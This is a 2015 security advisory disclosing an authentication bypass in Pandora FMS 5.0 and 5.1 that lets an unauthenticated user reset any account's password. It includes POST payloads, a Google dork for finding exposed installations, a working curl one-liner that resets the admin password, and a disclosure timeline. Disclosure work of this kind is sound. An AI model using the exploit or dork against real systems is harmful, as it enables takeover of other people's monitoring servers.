Pandora FMS 5.0 / 5.1 Authentication Bypass

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Authentication Bypass in Pandora FMS  
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Information  
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Name: Pandora FMS - Authentication Bypass  
Affected Software : Pandora FMS  
Affected Versions: 5.0, 5.1  
Vendor Homepage : http://pandorafms.com/  
Vulnerability Type : Authentication Bypass  
Severity : High  
  
  
Product  
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Pandora FMS (for Pandora Flexible Monitoring System) is a network monitoring software.  
  
  
Description  
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A vulnerability has been discovered in Pandora FMS that permits an unautheticated user to change the password for any Pandora user without knowing the actual user password. The vulnerability occurs at the login screen due to the session not being checked before the password is changed.  
  
  
Technical Details  
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Proof of Concept URL:  
  
URL: /index.php  
Method: POST  
Payload: renew_password=1&login=admin  
Payload2:  
renew_password=1&login=admin&password_new=newpass&password_confirm=newpass  
  
  
Google dork  
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intitle:"Pandora FMS - The Flexible Monitoring System"  
intitle:"Pandora FMS - el Sistema Flexible de Monitorización"  
  
  
Exploit  
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curl -d  
"renew_password=1&login=admin&password_new=newpass&password_confirm=newpass"  
http://localhost/index.php  
  
  
Advisory Timeline  
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13/05/2015 - Discovered and vendor notified  
13/05/2015 - Vendor responded  
28/05/2015 - Vendor patched the vulnerability   
10/06/2015 - Vulnerability published  
  
  
Solution  
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Apply the latest patches available at the vendor website.  
  
  
Credits & Authors  
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Manuel Mancera (sinkmanu) [email protected] <mailto:[email protected]>  
Artëm Tsvetkov [email protected] <mailto:[email protected]>  
  
www.a2secure.com  
  
  
Disclaimer  
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All information is provided without warranty. The intent is to provide  
information to secure infrastructure and/or systems, not to be able to  
attack or damage. Therefore A2Secure shall not be liable for any direct  
or indirect damages that might be caused by using this information.  
  
  
  
  
  
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